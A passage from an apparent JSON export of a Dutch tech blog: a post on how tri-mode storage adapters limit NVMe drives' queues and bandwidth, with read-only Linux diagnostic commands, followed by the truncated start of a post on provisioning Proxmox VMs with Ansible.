Broadcom zijn veel beter in het naar boven brengen van de gezondheid van een schijf dan de 9400 was. Maar dat is een zijkanaal voor beheer. Het datapad — elke read en write die je workload uitgeeft — loopt nog steeds door de SCSI-stack.\nEn de SCSI-stack heeft een wachtrijmodel dat flash twintig jaar voorafgaat.\nHet wachtrijmodel dat je net hebt opgegeven Dit is het deel dat je echt prestaties kost, en het is de moeite er precies over te zijn, want “NVMe is sneller dan SAS” is niet de reden.\nDe centrale ontwerpkeuze van NVMe was niet een snellere draad. Het was ophouden te doen alsof een opslagapparaat één geserialiseerd ding is.\nDe specificatie staat tot 65.535 paren I/O-wachtrijen toe, en dat getal wordt in elke NVMe-uitleg aangehaald. Het is het verkeerde getal om naar te grijpen. Geen schijf komt in de buurt van die uitvoering, dus wie ooit echt naar een draaiend systeem heeft gekeken kan de vergelijking wegwuiven — en daar zou hij gelijk in hebben. Het echte getal is kleiner, ongelamoureus, en maakt het punt beter.\nDus hier is een echte schijf. Geen enterprise-onderdeel: een SK Hynix OEM-SSD van 256 GB, het soort dat in een middenklaslaptop wordt gesoldeerd, in een machine met 16 kernen.\n$ nproc 16 $ cat /sys/class/nvme/nvme0/queue_count 17 $ ls /sys/block/nvme0n1/mq | wc -l 16 $ cat /sys/block/nvme0n1/queue/nr_requests 1023 Zeventien wachtrijen: één beheerwachtrij, en zestien I/O-wachtrijen voor zestien kernen. Elk 1023 commando\u0026rsquo;s diep. De koppeling is één op één — elke hardwarewachtrij is aan precies één CPU gebonden:\n$ cd /sys/block/nvme0n1/mq \u0026amp;\u0026amp; grep -H . */cpu_list 0/cpu_list:1 1/cpu_list:9 2/cpu_list:3 3/cpu_list:11 ... Eén CPU per wachtrij, de hele weg omlaag — hardwarewachtrij 0 bedient kern 1 en niets anders.\nDat is wat “NVMe heeft veel wachtrijen” in de praktijk betekent. Niet 65.535 — één per kern, hoeveel kernen je ook hebt. Linux maakt een paar wachtrijen per CPU aan tot wat de controller toestaat, en controllers staan veel meer toe dan een gewone server kernen heeft, dus in de praktijk is het kernaantal het getal. Zet deze schijf in een bak met 64 kernen en je krijgt 64.\nDie splitsing per kern is waar de prestaties vandaan komen:\nEen kern biedt aan in zijn eigen wachtrij. Geen lock, want geen andere kern raakt hem aan. Elke wachtrij krijgt zijn eigen MSI-X-vector, aan die kern gebonden. De afrondingsinterrupt landt terug op de kern die de I/O uitgaf, waar de betreffende cacheregels al staan. Alle zestien kernen kunnen tegelijk onderweg zijn zonder ooit op een gedeelde structuur te botsen. Parallellisme schaalt met je kernaantal, en het werk van geen enkele kern staat ooit in de rij achter dat van een andere. Een goedkope consumentenschijf doet dit. Het is de laagste lat.\nKijk nu naar wat de schijf achter de adapter krijgt. De getallen hieronder zijn geen schattingen — het zijn constanten in de mainline-driver mpt3sas.\nDe wachtrijdiepte per apparaat komt uit ioc-\u0026gt;max_nvme_qd, dat de driver overneemt van wat de controllerfirmware meldt en anders terugvalt op een standaard uit de compileertijd in drivers/scsi/mpt3sas/mpt3sas_base.h:\n#define MPT3SAS_SATA_QUEUE_DEPTH\t32 #define MPT3SAS_SAS_QUEUE_DEPTH\t254 #define MPT3SAS_RAID_QUEUE_DEPTH\t128 #define MPT3SAS_NVME_QUEUE_DEPTH\t128 128. Een apparaat dat tienduizenden uitstaande commando\u0026rsquo;s aankan, krijgt een wachtrijdiepte van 128 — en merk op dat die ondieper is dan de SAS-standaard van 254 twee regels erboven. De eigen mogelijkheden van de schijf komen nooit in de beslissing voor. Het getal komt van de controller.\nHet aantal hardwarewachtrijen is erger, en de driver is er openhartig over. Uit mpt3sas_scsih.c:\nshost-\u0026gt;nr_hw_queues = 1; if (shost-\u0026gt;host_tagset) { shost-\u0026gt;nr_hw_queues = ioc-\u0026gt;reply_queue_count - ioc-\u0026gt;high_iops_queues; ... dev_info(\u0026amp;ioc-\u0026gt;pdev-\u0026gt;dev, \u0026#34;Max SCSIIO MPT commands: %d shared with nr_hw_queues = %d\\n\u0026#34;, shost-\u0026gt;can_queue, shost-\u0026gt;nr_hw_queues); } Lees dat zorgvuldig, want er gebeuren drie afzonderlijke dingen.\nDe standaard is één hardwarewachtrij. nr_hw_queues = 1. Meerdere wachtrijen gebeuren alleen op gen35-controllers met de functie host_tagset aan, en zelfs dan is het wat de commitgeschiedenis van de driver zelf gesimuleerde meervoudige hardwarewachtrijen noemt — de I/O-controllerhardware is één aanbiedwachtrij met meerdere antwoordwachtrijen, en blk-mq wordt daarover heen gelegd.\nHet aantal wachtrijen komt van de controller, niet van het kernaantal. Het is reply_queue_count minus de high-IOPS-wachtrijen — de MSI-X-vectortoewijzing van de adapter. Het heeft niets te maken met hoeveel CPU\u0026rsquo;s je hebt, en het groeit niet als je schijven toevoegt. Dit is de exacte omkering van de schijf hierboven, waar het aantal wachtrijen het kernaantal was.\nEn de tagreserve is gedeeld. host_tagset betekent precies wat het zegt: één tagreserve voor de hele hostadapter, en die logregel zegt “shared” hardop. Elke schijf op de kaart trekt uit dezelfde set commandoplekken. Een kast met vierentwintig bays heeft vierentwintig schijven die om de tags van één controller vechten.\nZet die twee naast elkaar. Die laptop-SSD had zestien eigen wachtrijen van 1023, één per kern, die alleen zichzelf antwoordden. Dezelfde schijf achter de adapter krijgt een deel van de antwoordwachtrijen van de kaart, 128 uitstaande commando\u0026rsquo;s, en drieëntwintig buren die uit dezelfde reserve trekken.\nParen NVMe-wachtrijen per kern tegenover één gedeelde tagreserve van de adapter Wachtrijen vermenigvuldigen met kernen Schijven verdelen één reserve kern 0 kern 1 kern 2 kern 3 SQ + CQ SQ + CQ SQ + CQ SQ + CQ 1023 diep 1023 diep 1023 diep 1023 diep NVMe SSD /dev/nvme0n1 één paar aanbieden en afronden per kern eigen MSI-X-vector, afrondingen landen op die kern geen lock, geen strijd tussen kernen kern 0 kern 1 kern 2 kern 3 Tri-mode-controller antwoordwachtrijen komen uit de MSI-X-vectoren van de kaart, niet uit je kernaantal één gedeelde tagreserve voor elke schijf sda sdb sdc sdd qd 128 qd 128 qd 128 qd 128 en nog 20 bays die uit dezelfde reserve trekken. 128 uitstaand per apparaat, wat de schijf ook kan schijven toevoegen verdeelt een vaste hoeveelheid Links: één paar wachtrijen per kern, privé en 1023 diep, met de afrondingsinterrupt die terugkomt op de aanbiedende kern — gemeten op de schijf hierboven. Rechts: elke kern door de antwoordwachtrijen van de controller getrechterd, trekkend uit één gedeelde tagreserve, met elke schijf begrensd op 128. Het verlies is dus niet dat SCSI langzaam is. Modern SCSI op blk-mq is prima. Het verlies is structureel:\nWachtrijen zijn van de adapter, niet van de schijf. Schijven toevoegen verdeelt een vaste hoeveelheid in plaats van eraan toe te voegen. De tagreserve is over de hele host gedeeld. Eén schijf onder zware last kan de andere uithongeren op een manier die simpelweg niet kan gebeuren als elke schijf zijn eigen wachtrijen heeft. De diepte per apparaat is begrensd op 128, wat de schijf ook kan volhouden. De plaatselijkheid van interrupts wordt zwakker. Afrondingen komen aan op de antwoordwachtrij die de controller gebruikte, niet noodzakelijk op de kern die aanbood. Bij een wachtrijdiepte van 1 of 2 — één proces met af en toe een read — registreert niets hiervan. Je meet in beide gevallen dezelfde latency, binnen de ruis. De straf duikt precies op waar je NVMe voor kocht: veel kernen die veel gelijktijdige I/O\u0026rsquo;s uitgeven. Hoe dieper de workload, hoe meer van de schijf je hebt betaald en niet kunt bereiken.\nDe uplink is één x8-slot Het wachtrijmodel is het subtiele probleem. Het bandbreedteplafond is het voor de hand liggende, en je kunt het van Broadcoms eigen productbladen aflezen zonder een benchmark nodig te hebben.\nDe HBA uit de 9500-serie is een x8 PCIe Gen 4.0-kaart. De gepubliceerde cijfers van Broadcom ervoor zijn 13.700 MB/s bij 256K sequentieel lezen en 3M IOPS bij 4K random lezen. Hetzelfde blad zegt dat hij tot 32 NVMe-apparaten ondersteunt.\nZet die twee getallen naast elkaar en de vraag antwoordt zichzelf: hoeveel schijven kost het om de adapter op te maken?\nNiet veel, en elk jaar minder. Een Gen4 x4-SSD doet ruwweg 7 GB/s. Een Gen5 x4-SSD doet ruwweg 14. Beide zijn in 2026 gewone onderdelen — Gen4 is waar de tweedehandsmarkt voor U.2 vol van zit, en Gen5 is wat je nieuw koopt.\nPlafond Gen4-schijven om het te halen Gen5-schijven om het te halen HBA 9500 — 13.700 MB/s sequentieel 2 1 HBA 9500 — 3M IOPS (4K RR) 3 1–2 eHBA 9600 — 6,4M IOPS (4K RR) ~6 ~3 MegaRAID 9600 — 1,1M RAID 5-IOPS (4K RW) ~1 ~1 Lees de bovenste regel nog eens. Eén Gen5-SSD haalt het hele sequentiële plafond van een HBA 9500. Eén schijf, in een kaart die voor tweeëndertig is bedoeld. Alles daarna is capaciteit. Niet prestaties.\nEn de onderste regel is degene die een inkooporder zou moeten stoppen: op de MegaRAID van de huidige generatie levert een volle plank NVMe in RAID 5 ruwweg wat één gewone schijf op zichzelf doet.\nDe schijven linken niet eens op x4 Er zit een tweede knijper onder de gedeelde uplink, makkelijk te missen omdat hij in een specificatietabel staat en niet in een kop.\nDells PERC 12 User\u0026rsquo;s Guide, over de H965i tri-mode-controllers, zegt:\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3) and 16 GT/s (Gen 4) at maximum x2 lane width.\nElke NVMe-schijf krijgt twee lanes, niet vier. Dus vóór enige strijd om de uplink, vóór de tagreserve, vóór de SCSI-vertaling, zit een Gen4-schijf al terug op ongeveer 3,5 GB/s — de helft van wat hij kan. Zet een Gen5-schijf in die bay en hij onderhandelt terug naar Gen4 x2 en levert ruwweg een kwart van zijn opgegeven bandbreedte.\nHet is de moeite precies te zijn over wat dit wel en niet verandert. Het betekent niet dat de adapter verder komt. Het kost ongeveer vier op x2 begrensde schijven om de uplink van de 9500 te vullen in plaats van twee, maar alleen omdat elke schijf half zoveel bijdraagt. Het knelpunt is van de uplink naar de schijflink verhuisd. Het totaal dat je eruit kunt halen is niet beter geworden.\nMet directe aansluiting zouden diezelfde tweeëndertig schijven elk hun eigen x4-pad naar het root complex hebben, op welke generatie de schijf en de CPU ook kunnen onderhandelen.\nDe RAID 5-regel in die tabel verdient een eigen blik, want het is Broadcoms eigen getal en het is zonder opsmuk gepubliceerd. Uit het blad van de 9600-serie:\n900K to 1.1M RAID 5 IOPS (4K RW)\nPariteits-RAID in controllerfirmware is het duurste dat je een tri-mode-kaart kunt vragen, en dit is de huidige generatie die het doet. Het waard te lezen voordat iemand RAID 5 over vierentwintig NVMe-schijven specificeert en de prestaties van vierentwintig schijven verwacht.\nAantal schijven tegen twee tri-mode-plafonds, een x8 Gen4-kaart en een x16 Gen5-kaart 0 15 30 45 60 75 90 totaal GB/s 1 2 3 4 5 6 NVMe-schijven Gen5 direct \u0026#8212; elk ongeveer 14 GB/s Gen4 direct \u0026#8212; elk ongeveer 7 GB/s buiten bereik van beide kaarten PERC13, Gen5 x16 \u0026#8212; 52,5 GB/s gemeten HBA 9500, Gen4 x8 \u0026#8212; 13,7 GB/s 2 Gen4-schijven halen de 9500 \u0026#8212; 4 Gen5-schijven halen zelfs een PERC13 Cijfers van leverancier en review, hier niet gemeten. De 9500 is voor 32 NVMe-apparaten bedoeld, de PERC13 voor 16. Beide kaarten linken elke schijf daarnaast op x2, wat deze lijnen voor directe aansluiting niet doen. Hoeveel schijven het kost om de adapter op te maken, tegen twee plafonds. Twee Gen4-schijven halen de HBA 9500; vier Gen5-schijven halen zelfs een PERC13. De kaarten zijn voor respectievelijk tweeëndertig en zestien apparaten bedoeld. En een x16-kaart dan? Het voor de hand liggende bezwaar tegen al het bovenstaande is dat de 9500 een x8 Gen4-kaart is, en dat het plafond een gevolg is van een smalle hostlink. Geef de adapter zestien lanes Gen5 en het probleem verdwijnt.\nHet is een eerlijk bezwaar, en het verdient het sterkste voorbeeld in plaats van een stroman. Neem dus Dells PERC13 H975i — de huidige generatie, en ongeveer zo goed als tri-mode wordt. De gebruikershandleiding specificeert “Gen 4 and Gen 5 PCIe x16 host interfaces”, en StorageReview mat 52,5 GB/s en 12,5M IOPS per controller, tegen tot zestien NVMe-schijven.\nDat zijn serieuze getallen, en ze veranderen het beeld aanzienlijk. Tegen de 13.700 MB/s en 3M IOPS van de 9500 is dat ruwweg vier keer de bandbreedte en vier keer de IOPS, verspreid over half zoveel schijven. Dell heeft niet alleen de pijp verbreed — ze hebben ook de uitwaaiering gehalveerd, en de overboekingsverhouding is daardoor verbeterd. Op IOPS in het bijzonder: 12,5M over zestien schijven is ongeveer 780K per schijf, en dat komt in de buurt van wat een gewone schijf op zichzelf levert. Op dat punt is de controller echt niet meer wat je tegenhoudt.\nEer waar eer toekomt dus: een moderne x16 Gen5 tri-mode-kaart is een veel beter stuk techniek dan een x8 Gen4, en als bandbreedte je enige bezwaar was, antwoordt x16 dat grotendeels.\nDrie dingen die het niet oplost.\nDe schijven linken nog steeds op x2. Deze verraste mij. De handleiding van de PERC13, over een Gen5 x16-controller, zegt nog steeds:\nSupports drive speeds for NVMe drives are 8 GT/s (Gen 3), 16 GT/s (Gen 4), and 32 GT/s (Gen 5) at maximum x2 lane width.\nEen bredere hostlink verbreedt de schijflinks stroomafwaarts niet. Elke NVMe-schijf op de nieuwste, snelste tri-mode-RAID-controller die Dell verkoopt is nog steeds met twee lanes aangesloten in plaats van vier, en geeft nog steeds de helft van zijn bandbreedte op voordat er iets anders gebeurt.\nHet wachtrijmodel blijft volledig onaangeroerd. Niets in de wachtrijsectie van dit bericht hangt af van de breedte van de hostlink. nr_hw_queues komt uit de MSI-X-antwoordwachtrijtoewijzing van de controller; de diepte van 128 per apparaat is een constante in driver en firmware; de tagreserve is over de hele host gedeeld omdat host_tagset dat zegt. Verbreed de hostlink naar x16, x32, wat je wilt — de schijven zijn nog steeds SCSI-targets die de wachtrijen van de kaart delen, er is nog steeds geen /dev/nvme0n1, en je kunt nog steeds geen schijf aan een VM doorgeven.\nEn x16 maakt geen bandbreedte — het waaiert lanes uit die je al had. Dit is het argument dat het echt beslecht. Zestien Gen5-lanes in een PERC13 kopen je 52,5 GB/s, gedeeld over zestien bays. Diezelfde zestien lanes rechtstreeks naar vier Gen5-schijven op x4 kopen je ruwweg 56 GB/s over vier bays — dezelfde bandbreedte uit dezelfde lanes, behalve dat elke schijf zijn volledige x4 krijgt, zijn eigen paar wachtrijen per kern, en een echte nvme-apparaatnode.\nDe eerlijke manier om een x16 tri-mode-kaart te beschrijven is dus niet “een snellere adapter”. Het is een lane-multiplexer: hij zet een vast lanebudget om in meer schijfbays, en rekent je het wachtrijmodel voor de omzetting. Of die deal goed is hangt van één ding af. Bays of parallellisme.\nWat er gebeurt als je alle bays vult En dat brengt ons bij het geval dat echt uitmaakt, want niemand koopt een kast met 24 bays om er vier schijven in te zetten.\nVoorbij het verzadigingspunt is de totaallijn vlak. Schijven toevoegen voegt capaciteit toe, en niets anders — dus de prestaties per schijf vallen als 1/N. Die rekenkunde is onverbiddelijk bij realistische aantallen:\nSchijven op een HBA 9500 Totaal Per schijf Deel van een Gen4-schijf 2 13,7 GB/s 6,9 GB/s 98% 12 13,7 GB/s 1,14 GB/s 16% 24 13,7 GB/s 0,57 GB/s 8% Kijk naar de onderste regel. Vierentwintig NVMe-schijven achter een HBA 9500 leveren elk ongeveer 570 MB/s. Een SATA-SSD doet rond de 550. Je hebt vierentwintig NVMe-schijven gekocht, betaald voor een tri-mode-controller om ze aan te sluiten, en bent op bandbreedte per schijf van SATA-klasse uitgekomen.\nDe IOPS-rekenkunde heeft dezelfde vorm: 3M verspreid over vierentwintig schijven is 125K elk, tegen de 1M die een gewone Gen4-schijf alleen haalt — ongeveer een achtste van wat je bezit.\nDe x16-kaart verbetert dit flink maar ontsnapt er niet aan. Een PERC13 op zijn volle zestien schijven is 52,5 GB/s ÷ 16 = 3,3 GB/s per schijf, of ruwweg 23% van een Gen5-schijf — en dat is voordat de x2-link het opnieuw halveert.\nTwee effecten bij hoge schijfaantallen zijn erger dan de deling suggereert:\nTaguithongering gaat over apparaten heen. De gedeelde tagreserve van de host betekent dat één schijf onder zware last plekken kan opeten die andere schijven nodig hebben. Vierentwintig apparaten die elk nominaal 128 uitstaande commando\u0026rsquo;s mogen, willen er samen 3.072, getrokken uit de can_queue van één controller. Head-of-line-blocking tussen aparte schijven is een faalvorm die simpelweg niet bestaat als elke schijf zijn eigen wachtrijen bezit. Herbouwen raakt alles. Een pariteitsherbouw over een gevulde plank verzadigt die ene gedeelde uplink, dus de voorgrond-I/O naar elke andere schijf op de kaart wordt op hetzelfde moment slechter. Met schijven op onafhankelijke lanes en software-RAID vecht de herbouw om CPU, niet om één pijp. Wanneer niets hiervan uitmaakt Er is een belangrijk tegenwicht, en het is de reden dat genoeg tri-mode-servers met 24 bays volstrekt tevreden draaien.\nHet plafond van de adapter bijt alleen als iets stroomafwaarts meer kan verbruiken dan hij levert. Een server met 2 × 25GbE heeft 6,2 GB/s netwerk — hij kan zelfs een HBA 9500 niet vullen. Zijn die vierentwintig schijven een capaciteitslaag die bestanden over die link aanbiedt, dan is de adapter nergens in de buurt van het knelpunt en is de rekenkunde per schijf hierboven irrelevant.\nHet moment dat het begint uit te maken is wanneer de verbruiker sneller wordt dan de kaart: 100GbE (12,5 GB/s) zet je op eigen kracht al gelijk met het hele sequentiële plafond van een 9500, en lokale workloads — databases, compileren, analyse, virtualisatiehosts met drukke gasten — hebben helemaal geen netwerk in het pad.\nDe vraag bij een gevulde plank is dus niet “is de adapter langzaam” maar “wat gaat dit verbruiken, en kan het meer verbruiken dan de kaart kan leveren?” Is het antwoord een 25GbE-link, stop dan met je zorgen maken. Is het antwoord 100GbE, NVMe-oF of een lokale database, dan is de kaart je knelpunt en maakt het aantal schijven het erger.\nWat er verder verdwijnt Naast doorvoer betekent een NVMe-schijf als SCSI-schijf presenteren dat de NVMe-specifieke onderdelen van je gereedschapskist ophouden te werken:\nDirect aangesloten Achter een tri-mode-adapter Apparaatnode /dev/nvme0n1 /dev/sdb Driver nvme mpt3sas / mpi3mr nvme-cli Werkt Niets om mee te praten Gezondheidsdata NVMe SMART-logpagina\u0026rsquo;s Vertaalde SCSI-logpagina\u0026rsquo;s Namespacebeheer Ja Nee Firmware-updates nvme fw-download Gereedschap van de leverancier via de controller Format / sanitize NVMe Format NVM SCSI-equivalenten, als ze zijn uitgevoerd Hardwarewachtrijen Eén paar per kern (16 op de machine hierboven) De antwoordwachtrijen van de kaart, gedeeld door elke schijf Wachtrijdiepte 1023 per wachtrij 128 per apparaat Eén gevolg verrast mensen vaak genoeg om apart te benoemen: je kunt geen individuele schijf aan een virtuele machine doorgeven. PCIe-passthrough heeft nodig dat de schijf een PCIe-eindpunt met zijn eigen IOMMU-groep is, en achter een tri-mode-adapter is hij dat niet — het enige aanwezige PCIe-apparaat is de controller. Je kunt de hele adapter doorgeven, met elke schijf die eraan hangt, of niets. Was je plan bepaalde NVMe-schijven aan bepaalde gasten te geven, dan heeft de keuze van de backplane dat al voor je beslist.\nWie wil dit dan in 2026? Hier moet het verkooppraatje aan het begin van dit bericht een moeilijkere vraag onder ogen zien, want de wereld waarvoor het is ontworpen is grotendeels verdwenen.\nTri-mode is bedacht toen NVMe de dure laag was die je aan een SAS-omgeving toevoegde. In 2026 is dat omgekeerd: NVMe is de standaard, U.2-enterpriseschijven zijn overvloedig en goedkoop op de tweedehandsmarkt, en “gemengd SAS, SATA en NVMe in één kast” beschrijft steeds minder echte uitrollen. Wie koopt het dus?\nVooral niemand — met opzet. Het eerlijke antwoord is dat de meeste tri-mode-controllers niet zijn gekozen. Ze kwamen mee, omdat de serverleverancier er een levert, en de leverancier levert er een omdat één U.3-backplane-SKU hem laat verkopen in configuraties met SAS, SATA en NVMe uit dezelfde kast. Dat is winst in de toeleveringsketen voor de OEM. Het doet niets voor jouw prestaties, en het is dan ook nooit als zodanig verkocht.\nDrie van de klassieke rechtvaardigingen houden geen stand meer:\n“Ik heb gemengde schijftypen nodig.” Zelden in dezelfde kast, en zelfs als dat zo is, is tri-mode niet de enige manier. Een gewone SAS-HBA voor de draaiende schijven plus NVMe aan het root complex geeft je beide, zonder dat er een van benadeeld wordt. Een gemengde omgeving houdt geen gemengde controller in.\n“Ik heb niet genoeg PCIe-lanes.” Dat was in 2019 het echte argument, op platforms met 40 lanes en 24 bays. Een Genoa- of Turin-Epyc met één socket heeft 128 lanes. Vierentwintig schijven op x4 is 96. De schaarste die het aggregeren van schijven achter één controller rechtvaardigde is bijna weg, en waar dat niet zo is, doet een PCIe-switch het werk zonder het protocol te beëindigen.\n“De bays moeten universeel zijn.” Deze is het waard zorgvuldig apart te zetten, want het is het argument dat het vaakst wordt gebruikt om het verkeerde onderdeel te rechtvaardigen. U.3 is een backplanestandaard, geen eis aan de controller. Een U.3-backplane kan rechtstreeks aan de PCIe-lanes van de CPU worden gedraad in plaats van via een tri-mode-controller, en leveranciers documenteren beide topologieën. Je kunt de universele bays houden en de belasting weghalen. Heb je een tri-mode-server geërfd, dan is het waardevolste dat je kunt nakijken of de backplane direct kan worden omgedraad.\nWat er echt overblijft:\nHardware-RAID op dichtheid, waar beleid of platform het vereist — een auditvereiste, een ondersteuningsmatrix, een uitrol op Windows of ESXi zonder softwarelaag om het werk te doen. Dit is de echte resterende markt, het is het ene geval waarin je de RAID-motor koopt en niet de aansluiting, en op het huidige silicium is het een capabel product: zestien NVMe-schijven in hardware-RAID 5 met een cache die door een supercap is beschermd, uit zestien lanes, is iets wat directe aansluiting helemaal niet kan bieden. Bulkcapaciteit op SAS-HDD\u0026rsquo;s, waar £/TB nog beslissend bij draaiende schijven hoort. Maar dat is het werk van een gewone SAS-HBA, en een goedkopere. Zeer grote aantallen bays en externe behuizingen, waar SAS-expanders verder en breder reiken dan PCIe zal doen. Workloads die nooit diep gaan. Zitten je wachtrijdiepten in de enkele cijfers, dan registreert niets hiervan. Genoeg echte systemen wonen hier volstrekt tevreden. Er is ook een gewoon bedrijfsmatig argument — één soort behuizing, één driver, één reserve op de plank — en voor een virtualisatiehost voor algemeen gebruik is dat echt iets waard. Prijs het alleen eerlijk af tegen het feit dat, volgens de tabel hierboven, één Gen5-schijf het hele sequentiële plafond van de kaart kan halen.\nWanneer het het verkeerde gereedschap is De ruil wordt slecht in verhouding tot hoeveel gelijktijdigheid je workload heeft.\nCeph is het duidelijkste geval. Een opslagnode draait één OSD per schijf, elk met eigen threadpools, die allemaal tegelijk I/O uitgeven — en dan drijft een heel cluster aan clients ze gelijktijdig aan. Dat is het slechtste geval voor de gedeelde tagreserve: vierentwintig daemons die om de commandoplekken van één controller vechten, elke schijf begrensd op 128 uitstaande, alles door één x8-uplink getrechterd. Zet die schijven direct op het root complex en elke OSD krijgt zijn eigen wachtrijen, eigen tags en eigen lanes. Een Ceph-node met alleen NVMe hoort geen tri-mode-adapter in het datapad te hebben.\nDezelfde logica geldt voor NVMe-oF-targets, waar je schijven opnieuw exporteert en elke laag serialisatie op elkaar stapelt; voor databases met diepe asynchrone I/O; en voor alles dat op io_uring of SPDK is gebouwd, en die bestaan juist om de wachtrijen per kern te benutten die de adapter net heeft weggenomen.\nDe algemene regel: hoe meer parallellisme je software is geschreven te benutten, hoe meer een tri-mode-adapter je daarvoor rekent.\nHoe je nakijkt wat je hebt Heb je een server geërfd en wil je weten aan welke kant hiervan je zit:\n# What is the transport? \u0026#34;nvme\u0026#34; is direct, \u0026#34;sas\u0026#34; means it went through a controller lsblk -o NAME,TRAN,MODEL,SIZE # Is there a tri-mode controller in the machine at all? lspci -nn | grep -Ei \u0026#39;sas|megaraid|serial attached\u0026#39; # Which driver claimed the disk? ls -l /sys/block/sdb/device/driver # Per-device queue depth — 128 is the mpt3sas NVMe default cat /sys/block/sdb/device/queue_depth # How many hardware queues does this device actually get? ls /sys/block/sdb/mq/ | wc -l ls /sys/block/nvme0n1/mq/ | wc -l # compare against a direct-attached drive # On a direct-attached drive, what did the controller actually grant? # One admin queue plus one I/O queue per core, so expect nproc + 1 cat /sys/class/nvme/nvme0/queue_count nproc # The driver says it out loud at load time dmesg | grep -i \u0026#39;nr_hw_queues\u0026#39; Die laatste print de regel Max SCSIIO MPT commands: N shared with nr_hw_queues = M die eerder is aangehaald. Is nvme list leeg op een machine waarvan je is verteld dat hij volledig NVMe-flash is, dan is de adapter de reden.\nDe korte versie Een tri-mode-adapter zet je NVMe-schijven om in SCSI-schijven. Die omzetting is geen bijwerking. Het is hoe één kaart drie protocollen bedient, en het is wat je koopt.\nWat je opgeeft is specifiek en meetbaar: paren wachtrijen per kern vervangen door de gedeelde antwoordwachtrijen van een controller, een diepte van 128 per apparaat, een tagreserve verdeeld over elke schijf op de kaart, een x2-link waar de schijf x4 wilde, en één gedeelde uplink waar elke schijf eerder zijn eigen pad naar het root complex had. De adapter houdt op een verbinding te zijn en wordt het knelpunt, en op de huidige hardware wordt hij dat snel: twee Gen4-schijven halen een HBA 9500, vier Gen5-schijven halen zelfs een PERC13.\nEen bredere hostlink helpt wel — een x16 Gen5-kaart heeft ruwweg vier keer de bandbreedte en IOPS van een x8 Gen4 — maar hij verandert de vorm niet. Hij koopt bays, geen parallellisme: diezelfde zestien lanes rechtstreeks naar vier schijven leveren dezelfde bandbreedte zonder enige wachtrijbelasting. En hij redt een volle plank niet. Vierentwintig schijven achter een 9500 krijgen elk ongeveer 570 MB/s, en dat is wat een SATA-SSD doet.\nIn 2019, toen NVMe de laag was die je aan een SAS-omgeving toevoegde en platforms lanes tekortkwamen, was dat een redelijke ruil. In 2026 is het dat meestal niet. NVMe is de standaard, tweedehands U.2-schijven zijn goedkoop, een Epyc met één socket heeft lanes over, en het ene voordeel dat nog staat — universele schijfbays — is van de U.3-backplane, niet van de controller. Je kunt heel vaak de bays houden en de belasting weghalen door de backplane rechtstreeks aan de CPU te draden.\nKoop dus een tri-mode-adapter als je zijn RAID-motor koopt en die nodig hebt. Koop hem niet voor de flexibiliteit, en heb je er een geërfd in een kast vol NVMe, ga dan uitzoeken hoe die backplane is gedraad.\nHet heeft geen zin twee keer te betalen voor schijven die je dan niet goed kunt gebruiken.\n","permalink":"https://blogs.damiendye.uk/nl/hardware/tri-mode-adapters-nvme-as-sas/","summary":"Een tri-mode-adapter laat elke bay SAS, SATA of NVMe aannemen — echte flexibiliteit, en de reden dat U.3-backplanes bestaan. Wat er niet bij wordt geadverteerd is dat je NVMe-schijven ophouden NVMe-schijven te zijn: ze komen in Linux binnen als SCSI-schijven op mpt3sas, wachtrijdiepte 128, met één gedeelde tagreserve en één x8-uplink. Twee Gen4-schijven verzadigen de kaart. Eén Gen5-schijf zit er al voorbij. Of die ruil in 2026 nog goed is, en waarom de universele bays van de backplane zijn en niet van de controller.","title":"Tri-mode-adapters kopen flexibiliteit met je NVMe-queues"},{"content":"De Aanname Die Ansible Doorgaans Mag Maken Bijna elke Ansible-module die je gebruikt hebt werkt zo: Ansible verbindt met de host die in de inventory genoemd wordt, kopieert er een klein Python-programma naartoe, draait het, en leest het resultaat terug. De host is het ding dat veranderd wordt en het ding dat het werk doet.\nEen virtuele machine maken breekt dat op de meest basale manier mogelijk. De host die je bouwt bestaat niet. Hij heeft geen IP, geen SSH-daemon, geen Python, en geen besturingssysteem. Er is niks om mee te verbinden.\nDus community.proxmox is geen configuratie-agent. Het is een API-client die toevallig als Ansible-collectie geleverd wordt. Alles in deze post volgt dan ook uit dat ene feit — waar de tasks draaien, hoe je credentials binnenkrijgt, waarom herdraaien niet doet wat je verwacht, en waarom --check je niet de waarheid vertelt.\nDe voorbeelden hier zijn ingekort uit een playbook die Windows- en Linux-VM\u0026rsquo;s bouwt vanuit NetBox-records: proxmox-create-vms.yml. Ik heb de node-, storage- en bridge-namen gegenericeerd voor leesbaarheid — het echte ding staat in die repository.\nAlles wat ik hieronder over modulegedrag beweer, is gecontroleerd tegen community.proxmox 1.6.0, de versie die ik geïnstalleerd heb:\n$ ansible-galaxy collection list community.proxmox # /home/damien/.ansible/collections/ansible_collections Collection Version ----------------- ------- community.proxmox 1.6.0 Eerst: De Collectie Is Verhuisd Als je een oudere playbook of een ouder antwoord leest, heetten de modules community.general.proxmox_kvm. Ze leven nu in een toegewijde collectie, en dat is waar de ontwikkeling gebeurt. Versie 1.6.0 levert 47 modules, die Ceph, SDN, firewall, HA-regels en cluster-join dekken, waarvan geen bestond in het community.general-tijdperk.\nansible-galaxy collection install community.proxmox pip install \u0026#39;proxmoxer\u0026gt;=2.0\u0026#39; requests De Python-afhankelijkheid is niet optioneel en niet gebundeld: de collectie declareert requirements: [\u0026quot;proxmoxer \u0026gt;= 2.0\u0026quot;, \u0026quot;requests\u0026quot;], en die moeten geïnstalleerd worden waar de module werkelijk uitvoert — wat, zoals de volgende sectie uitlegt, niet de Proxmox-node is.\nrequirements.yml, als je het liever vastpint:\n--- collections: - name: community.proxmox version: \u0026#34;\u0026gt;=1.6.0\u0026#34; De collectie is getest tegen ansible-core 2.17 tot en met 2.20. Je community.general.proxmox_*-tasks hernoemen naar community.proxmox.proxmox_* is het grootste deel van de migratie.\nElke Proxmox-Task Draait op localhost Twee regels bovenaan de play doen het zware werk, en beide zien eruit alsof ze iets nuttigs uitschakelen:\n- name: Create Proxmox virtual machines hosts: \u0026#34;{{ target_hosts | default(\u0026#39;cluster_pve:\u0026amp;status_planned\u0026#39;) }}\u0026#34; gather_facts: false serial: 1 gather_facts: false is geen optimalisatie. Fact gathering verbindt met de inventory-host, en de inventory-host is een VM die nog niet gebouwd is. Laat het aan en de play faalt vóór de eerste task.\nDan draagt elke Proxmox-task delegate_to: localhost:\n- name: Create Proxmox VM delegate_to: localhost register: created_vm community.proxmox.proxmox_kvm: api_user: \u0026#34;{{ proxmox_user }}\u0026#34; api_password: \u0026#34;{{ proxmox_password }}\u0026#34; api_host: \u0026#34;{{ proxmox_api_ip }}\u0026#34; name: 